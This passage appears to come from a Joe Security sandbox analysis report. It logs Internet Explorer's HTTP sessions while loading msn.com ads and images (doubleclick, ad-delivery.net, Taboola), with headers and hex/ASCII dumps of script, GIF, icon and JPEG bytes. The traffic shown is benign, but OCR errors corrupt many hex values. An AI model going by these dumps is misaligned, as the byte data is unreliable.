45 6e 61 62 6¢ 65 64 29 2¢ 70 2e 77 65 62 73 69 74 65 49 44 26 26 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 26
26 28 21 28 6e 3d 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5¢ 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6¢ 65 7C 61 76 61
6e 74 67 6f 7c 62 61 64 61 5c 2f 7c 62 6¢ 61 63 6b 62 65 72 72 79 7¢ 62 6¢ 61 7a 65 72 7¢ 63 6f 6d 70 61 6C 7C 65 6C 61
69 6e 65 7c 66 65 6e 6e 65 63 7c 68 69 70 74 6f 70 7c 69 65

Data Ascii: ntent")||p.contentEnabled,p.mobileContentEnabled="true"==localStorage.getltem(‘forceMobileContent"
)|Ip.mobileContentEnabled),p.website|D&&p.contentEnabled&&(!(n=/(android|bb\d+|meego).+mobile|avantgo|badaV/|b
lackberry|blazer|compallelaine|fennec|hiptop|ie

Data Raw: 29 7c 6d 6d 65 66 7c 6d 6f 28 30 31 7c 30 32 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5¢ 2d 7c 20 7c 6f 7c 76 29 7c
7a7a297c6d 74283530 7c 7031 7c 762029 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32 30
5b 32 2d 33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 30 7c 31 29 7c 31 30 29
7c 6e 65 28 28 63 7c 6d 29 5¢ 2d 7c 6f 6e 7c 74 66 7c 77 66 7c 77 67 7c 77 74 29 7c 6e 6f 6b 28 36 7c 69 29 7c 6e 7a 70
68 7c 6f 32 69 6d 7c 6f 70 28 74 69 7c 77 76 29 7c 6f 72 61 6e 7c 6f 77 67 31 7c 70 38 30 30 7c 70 61 6e 28 61 7c 64 7C
74 297c 7064 78 67 7c 70 67 28 31 33 7c 5¢c 2d 28 5b 31 2d 38 5d 7c 63 29 29 7c 70 68 69 6¢ 7c 70 69 72 65 7c 70 6¢ 28
61 79 7c 75 63 29 7c 70 6e 5¢ 2d 32 7c 70 6f 28 63 6b 7c 72

Data Ascii: )Jmmeflmo(01|02|bi|de|dolt(\-| [o]v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0[2)[n50(0|2|5)[n7(0(0
|1)110)[ne((c|m)\-|on]tfiwflwg|wt)[nok(6]i)[nzph|o2im|op(tilwv)|oran|owg1|p800|pan(aldt)|pdxg|pg(13[\-([1-8]|c))|phillp
ire|pl(ay|uc)|pn\-2|po(ck|r

Data Raw: 6e 5b 32 5d 7d 7d 29 7d 29 7d 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b 0a
Data Ascii: n[2]ihh}0}catch(e){1}0;

Destination IP Destination Port Process

172.217.168.38 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes
Timestamp transferred

2021-10-07 14:20:13 UTC 29

2021-10-07 14:20:13 UTC 29

2021-10-07 14:20:13 UTC 30

2021-10-07 14:20:13 UTC 30

Session ID Source IP

16 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:13 UTC 31

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49827

Direction
ouT

Data

GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad.doubleclick.net

Connection: Keep-Alive

Cookie: IDE=AHWgTUmMHOXIMoxjOPngfm30GPHOK5PB_3CT4Qubkpi3xpdeiBinOowt7h4y8MxfC1z8

HTTP/1.1 200 OK

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Type: image/x-icon

Access-Control-Allow-Origin: *

Cross-Origin-Resource-Policy: cross-origin

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media"

Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-
to/ads-doubleclick-media"}]}

Content-Length: 1078

Date: Thu, 07 Oct 2021 06:41:48 GMT

Expires: Fri, 08 Oct 2021 06:41:48 GMT

Last-Modified: Tue, 08 May 2012 13:08:06 GMT

X-Content-Type-Options: nosniff

Server: sffe

X-XSS-Protection: 0

Age: 27505

Cache-Control: public, max-age=86400

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 00 00 01 00 02 00 10 10 10 00 00 00 00 00 28 01 00 00 26 00 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 4e
01 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 cO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 11 111111111111111111
11111111111121111211111121112111112211211111121111112122111111111211111212111111111111
11111111111121111121111112121211122122111111111221111122111111111111111112121111111111111
11111111111111111111112112111211111111111111111111

Data Ascii: (& N(

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 11 11 111111 11111111111111
11111111121111111211111121111112211211111211111211111122112211111111111211111112111111111
1111111111111121211111212111121221121111121112211121121111211111111112212111121111111111111111
1111111111111111121211211121112111212111111122112111121211111221211111212112111121111111212111111111
111111112111111212121211111211111121111121212211111121111121121112111212111111111111111111111
1111111112111211112211211111211121112121121112212111111121111212111211121111111111121111111111
1111111121111112111111112111211112111111211111111111211111

Data Ascii:

Destination IP  Destination Port Process

104.26.3.70 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /px.gif?ch=1&e=0.7922055029919313 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad-delivery.net

Connection: Keep-Alive
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:13 UTC 31 IN HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 14:20:13 GMT
Content-Type: image/gif
Content-Length: 43
Connection: close
X-GUploader-UploadID: ABg5-UzSZ-Kt1WbGdd88HICnZf7YcJGLu-DR5tPwPS9bXoxAsvIYwt4jGn6LAH0ZbG34
scttOvecv7iFCIZEXLBCcbRVF7nEjw
Expires: Thu, 07 Oct 2021 14:34:37 GMT
Last-Modified: Wed, 05 May 2021 19:25:32 GMT
ETag: "ad4b0f606e0f8465bc4c4c170b37ela3"
X-goog-generation: 1620242732037093
X-g00g-metageneration: 5
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 43
x-goog-hash: crc32c=cpEfJQ==
x-goog-hash: md5=rUsPYG4PhGWS8TEwXCzfhow==
X-goog-storage-class: MULTI_REGIONAL
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-
Trace
Age: 71
Cache-Control: public, max-age=86400
CF-Cache-Status: HIT
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v3?s=mUwGOBGV1MgTi%2BIdnewvicHW1ztm1s
Yy5zShw2PjICbPgP5rFI638WyYgkNgLOKLM2dDTqqTzr%2B6A6hiTqZM9hRcudYQ770bh5cTjFSELzxmzHB%2BP7NT
eJ2AxylhlkrnfA%3D%3D"}],"group™:“cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 69a7c4d81f3c696a-FRA

2021-10-07 14:20:13 UTC 33 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c
Data Ascii: GIF89al,
2021-10-07 14:20:13 UTC 33 IN Data Raw: 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b
Data Ascii: L;
Session ID Source IP Source Port Destination IP  Destination Port Process
17 192.168.2.5 49846 151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
2021-10-07 14:20:18 UTC 33 ouT GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%

2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F229da042318840c2bedb0d7d4a629da7.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

2021-10-07 14:20:18 UTC 105 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 16690
Server: nginx
Content-Type: image/jpeg
access-control-allow-headers: X-Requested-With
access-control-allow-origin: *
edge-cache-tag: 583035538548815753606259098869495976665,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70
etag: "9453f5eale8f6182b5f87c8c2ebd6474"
expiration: expiry-date="Sun, 17 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Thu, 16 Sep 2021 03:17:34 GMT
timing-allow-origin: *
x-ratelimit-limit: 101
x-ratelimit-remaining: 94
x-ratelimit-reset: 1
X-envoy-upstream-service-time: 118
X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb202
Cache-Control: public, max-age=31536000
Accept-Ranges: bytes
Date: Thu, 07 Oct 2021 14:20:18 GMT
Via: 1.1 varnish
Age: 369714
X-Served-By: cache-wdc5571-WDC, cache-mxp6930-MXP
X-Cache: HIT, MISS
X-Cache-Hits: 1, 0
X-Timer: S1633616418.019958,VS0,VE312
Vary: ImageFormat
X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F229da042318840c2bedb0d7d4a629da7.jpg
X-vcl-time-ms: 312
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:18 UTC 106 IN Data Raw: ff d8 ff €0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 06 06 06 06 07 06 07 08 08 07 Oa Ob
0a Ob 0a Of Oe Oc Oc Oe Of 16 10 11 10 11 10 16 22 15 19 15 15 19 15 22 1e 24 1e 1c le 24 1e 36 2a 26 26 2a 36 3¢ 34 32
34 3e 4c 44 44 4c 5f 5a 5f 7c 7¢ a7 01 06 06 06 06 07 06 07 08 08 07 Oa Ob 0a Ob 0a Of Oe Oc Oc Oe Of 16 10 11 10 11 10
16 22 15 19 15 15 19 15 22 1e 24 1e 1c le 24 le 36 2a 26 26 2a 36 3e 34 32 34 3e 4c 44 44 4c 5f 5a 5f 7c 7c a7 ff c2 00
11 08 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 ff ¢4 00 34 00 00 02 02 03 01 01 01 00 00 00 00 00 00 00 00 00 05 07 04
06 02 03 08 00 01 09 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 Oc 03 01 00 02 10
0310 00 00 00 b5 b7 d3 ed aa 26 6a 46 ea 9f 66 96 12 f0
Data Ascii: JFIF"$$6+*€&*6>424>LDDL_Z_||"'$$6*&&*6>424>LDDL_Z._||7"4&jFf

2021-10-07 14:20:18 UTC 107 IN Data Raw: a3 65 3c a9 58 f9 7e d8 cc 09 cf 20 06 83 f1 86 07 91 9d 6d 80 f8 d6 38 06 d3 63 92 45 33 1b 8e d6 5a 1d d7
18 ce 8efl e9 78 35 e7 ae 74 87 3¢ 74 27 44 2e 7a 26 64 f2 al db f9 c7 6a bd a2 8d 3f 6f 37 4d ba 7d 2c 87 07 79 7d 39
e30ae9d7 a7 e7 44 c9 ec 1f b4 69 3a 06 07 3a el ea a6 c6 13 a2 49 9c 86 07 8c 87 53 1f 59 30 b6 9c el 97 93 79 28 52
ac 62 d9 2b 3e b9 0f 57 af ec 2b 28 0b 94 7f 7b 99 ¢6 40 f7 92 d8 e8 f7 98 67 b7 de 53 02 77 bc €0 66 cf 78 1d 13 fd ec 47
cb 7 8e da 3f de 74 2e 4f de e6 7f b0 3d e3 31 3b 7d ea 50 97 df 79 c7 ff c4 00 33 10 00 02 02 01 04 02 02 01 03 04 00 04
07 00 00 00 02 03 01 04 05 00 06 11 12 07 13 14 21 15 22 23 31 08 16 33 41 17 24 32 38 10 25 34 37 44 51 53 ff da 00
08 01 01 00 01 09 00 db 3f 5e 75 f2 Oe be a7 52 3a cf
Data Ascii: e<X~ m8cE3Zx5t<t'D.z&dj?07M},y}9Di::ISY0Oy(Rb+>W+({@gSwixG?t.0=1;}Py3!"#13A$28%47DQS? uR:

2021-10-07 14:20:18 UTC 109 IN Data Raw: bf b3 96 4a f0 6e 1c 4d 63 a6 68 67 90 bl f8 45 db al 6a f5 fd dc 9a 75 7 76 d9 Oc 79 b3 e4 03 e0 8a 7d ae 52
9a 50 39 39 93 ¢6 5¢ 79 2e 98 3e c6 02 8d 45 89 57 58 0Ob 2c 3d f5 ed 48 97 b7 8c cd b1 b9 b8 ad 58 15 a9 9f 7a ac d9 82
1f b0 b1 05 11 f6 96 8f fc 7e b9 3a 3b 5¢ ¢7 dO fb d8 45 c4 0b 3b b3 cf 94 7b 47 68 19 fe 3c b0 d1 ff 00 85 db a3 88 0f f1 c6
b6 3e 63 3b 8b fO fe 29 f4 f0 19 5b 57 17 88 ca 45 fd ab b7 ab 38 3c 2d 7d eb 1b 38 ac 91 ed 4c la ec 5a df 80 6a c5 57 b8
bl d9 eb 5b ee 6f 37 1b 68 e5 ee 8e 05 07 5e a6 77 7f aa €5 34 56 bl 8d c8 e4 c6 f6 ea c7 5b 80 5d b8 02 6f df c5 b6 4c
86 34 f3 62 aa fb 76 da e4 ab 5c¢ 3a d4 29 08 06 32 4f df 6e e5 bd 23 e0 95 6a 62 35 31 a3 5d b9 dc ac 3d 2a 3d 54 60 3
10 50 8f 5f 11 fa 29 c0 4f 9f f2 bf a2 66 22
Data Ascii: JnMchgEjuvy}RP99\y.>EWX,=HXz~:;\E;{Gh<>c;)[WE8<-}8LZjW[07h"w4V[JoL4bv\:)20n#jb51]=*=T"P_)Of"

2021-10-07 14:20:18 UTC 110 IN Data Raw: 8a 6 f1 37 6f 7d ff 00 e4 03 7f 10 02 30 18 43 b9 85 3e 3b 61 23 25 89 Oe 4b f0 31 91 ¢3 17 31 fd b8 76 30 66
42 65 b7 a4 b6 be 3 ce d6 18 da 51 1f 5b 62 11 b3 ff 00 4c c6 db 0f ed 21 91 21 db f3 fd b7 db b4 61 c1 d8 00 18 81 c3 9d
9c 14 cc 4c 62 6d Oe da bd 01 16 71 41 94 a4 02 20 15 8f 21 8e 77 €9 6d 4a b5 57 cc 14 c¢7 91 aa 43 76 9f cb 80 5e 5e b7
a0 c8 52 79 35 36 8c 8a 15 8d c8 d3 44 b5 24 15 b2 f5 54 a6 ae 35 f9 5a b2 ef 57 bb f2 74 e3 ec ee 1e 5b 1d 3c 4f cb 1c
b6 3f 89 2f 9b 19 6¢ 7c 97 d5 c2 ca 63 a3 e8 ec c6 4a a9 a9 cc 56 ad 3a 69 a6 b3 ed 55 8c fe 1c 60 a7 dd 3b 8f Oc 3f a6 6d
46 e0 c3 cf 59 f9 63 9f c1 cf dc df 8d c1 83 92 e3 €6 ff 00 70 60 be 87 e6 7e 77 Of 3f 7f 3a 32 b8 b9 18 90 bc 59 8¢ 38 44
73 7e 33 18 39 ef d6 f7 €6 31 5¢ fe 9b a5 9a
Data Ascii: 70}0C>;a#%K11v0fBeQ[bL!!laLbmgA 'wmJWCV MRy56D$T5ZWt[<O?/l|cIV:iU’;?mFYcp ~w?:2Y8Ds~391\

2021-10-07 14:20:18 UTC 111 IN Data Raw: 09 44 d9 28 8f 58 60 50 e5 57 f6 36 bd c6 c7 79 9d 0a 04 c0 56 21 96 da f8 ab ea 00 c8 54 c0 ed 6¢ 5e 08 49
€2 b6 40 44 4c ae 4e 95 5b d4 e1 76 6b 51 db b8 bc 6¢ 1a bl ea cc 51 96 d1 ca 56 00 5¢ 4c af 8d 4c 17 f3 04 Oa e4 35 32
3013 05 16 ed 47 e4 ce 04 bd d1 23 33 1a 97 04 a8 63 b4 04 9c 17 1a b5 4c 86 4a 4f 4b a8 af 48 94 02 95 Oa €8 42 c5 99
9f 33 d1 7f 65 2b 8d 5d bd 2b 64 c0 cf bc 0a 42 08 95 5¢ 0b 97 43 30 c5 27 7e 61 9a €8 b4 ae 3a 6a ec 72 7f 5a a3 74 ab
03 7f 79 17 56 €1 89 95 5b b8 1c 44 11 ef cc 96 €0 Ob 6d 59 db f1 ad dc cb b2 8e 32 b7 2e 32 4c c0 c6 2d 7e b8 9f 6e b7
8e cd 45 d8 5b f1 14 88 59 12 42 63 c4 c1 14 f1 3d Oe 22 26 2e 2a 47 23 66 48 54 1c 8c 46 82 57 06 43 30 c5 34 c3 91 la
8 f5 ac 7b 4e ad cf a4 04 44 6a 3c a7 b2 c8 42 fa 8f aa
Data Ascii: D(X'PW6yV!TIN@DLN[vkQIQV\LL520G#3cLIJOKHB3e+]+dB\CO'~a:jrZtyV[DmY2.2L-~nE[YBc="&.*G#HTF
WCO04{NDj<B

2021-10-07 14:20:18 UTC 113 IN Data Raw: dc 32 42 15 60 al 80 e3 c¢7 d7 00 3f 7b 67 15 20 7e bf 5¢c 62 be 43 da Oc 3f ¢7 7a e4 3d c5 18 b1 20 35 2d cb

a4 1c 9d 73 80 c5 58 5b 06 Oe b1 d2 ab 30 a2 62 al d5 26 55 00 80 c6 d2 1a e6 ca b3 92 16 de 12 6f cb 66 2e 9c 09 8a c7
6567 €9 5d c1 d1 a4 d6 1c d6 24 cc c8 c9 21 4b 82 9d 6f 1c 51 4e 6 cf 9d 3c 86 26 d6 f3 c6 b0 5f f3 ce a3 ec d9 b3 61 b7
2b c0 00 fe e4 1a 18 6e 89 8b 4e ac 75 49 4b 74 1b 1b 29 85 a5 ae 73 e2 21 30 bf 4b 6c b3 e3 d9 9a 69 ac d6 8c c5 04 27
da b6 8d 82 75 3a a7 ec el 48 87 8¢ h9 ce b2 e2 83 6b 86 2a af 26 f0 81 43 Oa cd cc 84 55 7b 8¢c 08 ac e4 11 06 06 90 36
a5 2a 16 85 19 95 4c 8d bf 84 c6 2c 40 Oa ae 29 16 65 a9 02 65 38 a4 ¢8 99 d7 al 95 4a cd 76 d6 9a 75 90 f4 d9 5 86 73
71 42 85 01 6¢ db b8 2 f0 35 5f 7d f5 49 12 2a 19 el

Data Ascii: 2B*?{g ~\bC?z= 5-sX[0b&Uof.eg]$!KoQN<&_a+nNulKt)s!OKli'u:Hk*&CU{6*L,@)ee8JvusqBI5_}I*

2021-10-07 14:20:18 UTC 114 IN Data Raw: 8c ¢9 03 ac Oc 30 ab b7 24 ad 97 20 4c e2 df 79 a8 d5 d3 e6 a3 35 ae 80 67 a9 34 dc ea 54 c7 79 8f 9e ef 76
cc al c3fa84 7b 4e 08 62 Oe 56 52 e7 49 5c 1d e5 ed 8b 36 eb c4 be b5 f7 57 16 c1 de 6b a6 6b c7 69 a5 5c da 8f de 60
155 61 9d b6 95 7b 4c cd dc f4 25 4c b1 c6 70 4d d8 b7 2f 5b 71 3c eb 6e 4c 18 cc bd f7 51 61 6b 4d 4e 6f 8f bl 34 9f 98
e2 3c e2 1c 5583 37 2556 79 d7 ch 81 43 ac f3 2d d4 78 49 a4 b6 ae 58 Oa d5 fc 98 df €6 7f 72 e9 e5 67 97 e6 26 56 d9
€6 6a 7f 92 dd 78 9a 7d ff 00 d6 13 ad 3f 98 32 fa cd Oe 01 63 ad 64 28 07 3f 54 35 c3 8e 3f 89 4b 66 83 2f ae 98 c5 4e 93
cf fb 10 d6 7d b3 7b ed 8e aa 19 db 3c e3 d2 1a a2 86 25 be 28 14 2b 97 {7 1a bb 5¢ 75 c4 b6 9d f2 ae 67 97 77 80 7a 46
97 3b 33 6e af e7 36 ea 7a 5a 6¢ d5 f4 b4 d9 ad d8
Data Ascii: 03 Ly5g4 Tyv{NbVRI\6WKki\ a{L%LpM/[q<nLQakMNo04<U7%VyC-xIXrg&Vjx}?2cd(? T5?KFINH<%(+\ugwzF
;3n6zZ|

2021-10-07 14:20:18 UTC 115 IN Data Raw: 4d fa 44 7e 5d 7e 23 10 fd 13 3b 8¢ el 3e 15 el ff 00 e4 30 2f cf 88 9d 67 ff 00 9d 7f fb 32 8d 9c 68 35 62 19 1e
78 18 70 50 a9 b6 09 83 53 2c f1 c6 da 9d 12 3d 88 6a 40 c9 bb Ob 69 b5 9f Oc 88 b4 7e 09 62 25 d9 b4 bl 3d d3 Oc df Of
79 10 43 27 57 6b a2 d9 1c 4a c2 35 Oc 4 cf 51 b0 20 ab 35 4 38 8c cf 39 2e ce al c3 82 ec 79 le 84 €0 da aa 40 55 62
a6 30 38 0a be c3 04 7a a7 88 46 1f 84 74 1c {7 f4 6b e7 17 6a eb 3¢ 9b 45 72 8a ¢l bf ae 75 8 Oc 5f e0 d3 7c fa 7f Of b7
fd 27 f9 fe 4f 85 4a ff 00 b4 f9 dc e7 23 e0 7a ff 00 fa 0d 2 fc ff 00 19 3f b4 4b 9f cc 32 {6 4a f0 ff 00 cf f9 f0 9f 06 67 fb a0 d
43e 77 3813 57 a9 9d 22 b4 e5 8a Oe 58 31 5¢ 9b 76 af e2 da 7b 9e 41 4a e8 89 26 df 0f 04 72 84 86 07 dc c4 02 81 2d e
8 7d 4e 15 56 03 c3 6a fe 52 68 15
Data Ascii: MD~]~#;>0/g2h5bxpPS, =j@i~b%=yC'WkJ5Q 589.y@Ub08zFtkj<Eru_|'OJ#z?K2Jg>W8W"X1\W{AJ&r-INV|Rh

2021-10-07 14:20:18 UTC 117 IN Data Raw: ed 97 e3 cf 01 50 bc b0 28 db bf f6 de 49 2c e3 el 5a 98 61 2a fb 07 89 a9 4d 87 a5 dd 06 c8 61 97 4f a9 86 63
36 f1 19 78 8c e2 cb fa ec ¢8 64 55 99 fc 44 42 c2 40 59 79 24 56 42 7c 3d 66 92 da 27 ab 8f 70 a5 24 01 64 61 2e f3 80
3d 3a 64 be 22 b8 0a 8a b6 70 89 c4 ec ef a9 3c ¢8 53 b2 29 ec 06 32 ¢5 1c 60 f8 64 f2 aa 02 ae 20 69 1c 92 c4 55 7b Oa
c8 ch aa 95 54 27 83 c1 f3 13 5d 06 28 06 63 d3 d4 Oe bf be 16 24 f1 f4 18 14 02 6¢ 28 ef 5¢ 12 73 7a 20 e6 f9 ae e5 b0 78
7e 28 62 87 f9 98 Oe a3 3b 7¢ 89 45 04 b0 6 19 16 92 09 fe Oc 20 56 97 a0 94 04 40 b9 d2 88 61 d3 9e 84 11 81 87 61 94
90 ff 00 Od a7 4f 74 d3 e4 84 24 a6 37 0d d8 el Od a9 f8 b4 3f fa 11 ce 76 39 4d 13 5f 04 83 63 4f 21 ¢8 12 1d 2c 6f 24 52
aa 85 91 8c ae 01 56 3d c6 03 Oc c9 27 37 dO 06
Data Ascii: P(l,Za*MaOc6xdUDB@Yy$VB|=fp$da.=:d"p<S)2'd iU{T"](c$I(\sz x~(b;|E V@aaOt$7?vOM_cO!,0$RV="7

2021-10-07 14:20:18 UTC 118 IN Data Raw: 7b fb 65 49 40 90 4e da e2 f6 3 df 10 7b 5f 38 3e cc 06 20 f6 bc 88 fd 5a b2 10 0f ac 9e b8 f2 47 11 51 23 ¢6 8c
ea a5 b8 16 54 1c 9e 18 e6 2e 63 67 8d c6 e0 87 6b 1c Ob 74 49 2a el a8 8e 3b 62 81 40 dd 33 1c 5e 7f f1 70 06 20 f6 da
d8 a3 dc 86 ff 00 b6 21 3d 07 04 01 ee 4e 45 90 50 ec 5¢ 5e 44 47 7d a7 13 ea dc 64 75 ee 40 c4 27 ff 00 10 1f 2f 13 4f 3a
ec 95 2e ac 65¢7 09 0d 1c 8c 2b 74 65 77 6e ca 8c 59 af 44 18 ab 1c 2a 1e 77 f7 3d 17 36 06 1b cf 1f 95 3b 33 7b 9e c3
05 f2 68 f5 18 2e f9 18 3a fa 60 38 a0 7d 32 58 3e 19 7b e7 d4 15 29 68 3b 47 ea 5b 34 da 4d 35 8f ec e2 8¢ 29 62 38 b7
ee cd ee 73 cd b7 6d f1 75 9 90 7e 29 51 e2 59 42 00 fb 24 e5 94 91 d4 1c 4d 06 a4 20 59 1d 21 Oc 92 7b 90 08 f3 63 15
218a4f121789d4 0b 24 30 cl1 60d1 1544 11
Data Ascii: {el@N{_8> ZGQ#T.cgktl*;b@3"p '=NEP\*DG}du@'/O:.e+tewnYD*w=6;3{h.: 8}2X>{)h;G[4M5)b8smu~)QYB$M
Y!{c!O$0'D
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 119

2021-10-07 14:20:18 UTC 121

2021-10-07 14:20:18 UTC 122

Session ID Source IP

18 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:18 UTC 33

2021-10-07 14:20:18 UTC 94

2021-10-07 14:20:18 UTC 95

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49844

Direction

ouT

Data

Data Raw: 7a e0 10 bc 85 89 2b b4 96 1c 61 69 25 d3 01 1a 77 62 3b Oc 22 ba e7 6f 91 e3 a6 31 02 24 f2 dd 81 df ec 7e
45 9b 0d e6 e0 45 00 3a 03 77 7f 5¢ 3b 9a b7 7d 71 88 dc 76 8f 4f 63 96 dd 4e 79 80 27 15 6f 80 4f 4b 38 9 18 3d 54 dO fb
€7 04 81 c7 20 e0 10 95 a8 c8 02 89 ef 63 be 00 94 36 fd 3b 56 Of ae 53 21 b4 e4 5d 1f ae 01 20 5b de a3 37 82 3c ca 3a
e6 a4 68 9d e9 21 66 21 57 cb d0 81 9a 83 a5 58 b6 b2 6e 3b 18 f6 18 2c 2d 22 83 96 c4 2 30 2e a4 16 b8 d3 2 b0 3e 62
ce 4e 6d 65 24 11 67 8c ab ed 9d 70 a9 34 49 24 76 e3 b7 cb 91 9e 5f 72 07 €9 9¢ d5 91 db 14 3b 0Ob 37 ef 8a 18 6d 26 fd
fb d1 cO b2 6e 3f 6a e0 8c 2a c5 76 9e 3b 65 10 41 Oc 3b 11 96 54 0d a0 f7 3c f2 7f 5¢ 66 d9 b8 85 af ea 78 cf cf b9 81 7b
b0 07 5d a3 00 e3 a7 a6 6d f2 de e3 8b 0f 86 fe 53

Data Ascii: z+ai%wb;"01$~EE:w\;}qvOcNy'0OK8=T c6;VS!] [7<:h!flWXn;,-"0.>bNme$gp4I$v_r;7m&n?j*v;eA; T<\fx{imS

Data Raw: a6 04 80 al 87 3e 84 91 c6 46 15 ba f3 cd fe bc 62 16 71 4b 74 7e 5 d7 15 98 f0 42 ae d1 66 ec f1 dO e0 59 54
9b 20 75 5f 42 79 39 68 14 52 8e 37 56 6e 40 6f a0 bf a0 3d 79 c4 a6 b1 cf 5f 37 7e 31 cb d9 Oe 17 cc 4f dO Oc 28 26 d1 f8
29 2b 5d 06 de ad 59 Oc e5 13 7e d8 99 59 b6 dd 64 44 18 b7 29 Oe 18 29 1f ca c4 1e b8 8d 1c 8d e2 80 86 c2 97 e4 8¢ 85
9d d9 e6 76 88 ee 52 64 e7 93 ea 06 07 Oc 28 a9 16 30 05 3c 11 d5 47 d2 fa 61 ff 00 57 65 46 dd b5 68 95 Oc 47 be 23 29
€0 8e Oe 24 72 c2 ee 93 bc 9d ca 74 08 Oe 6a 25 99 b8 21 9c 46 bf 6e 40 15 8f bd 23 8d 89 1d 18 37 47 3c d5 63 47 Ob 04
51 2b 10 56 45 3d 48 07 9d a2 fa e4 a9 2a 99 0a 06 b4 b6 40 4d a8 fb 1a 38 04 6a bc 42 a8 1b 95 e4 30 67 07 d3 ae 78

51 78 8¢ 63 1b c0 50 c3 fb e4 55 b1 03 a6 04 16 59 ch

Data Ascii: >FbgKt~BfYT u_By9hR7Vn@o=y_7~10(&)+]Y~YdD))vRd(0<GaWeFhG#)$rtj%!Fn@#7G<cGQ+VE=
H*@M8jBOgxQxcPUY

Data Raw: a7 Ob 83 6f el 58 b0 8c 84 75 45 36 0a 92 00 3b 2f 8e f9 13 ¢8 11 64 2c 05 48 54 52 ec b4 5a b3 ce 48 a3 c3
59 66 27 cf bc 4d 45 36 d8 04 06 fd b3 51 00 56 89 1c ab a5 4b bf ef 60 9a a3 8c 81 8a 88 62 9d cc 81 36 13 bb 94 {5 db
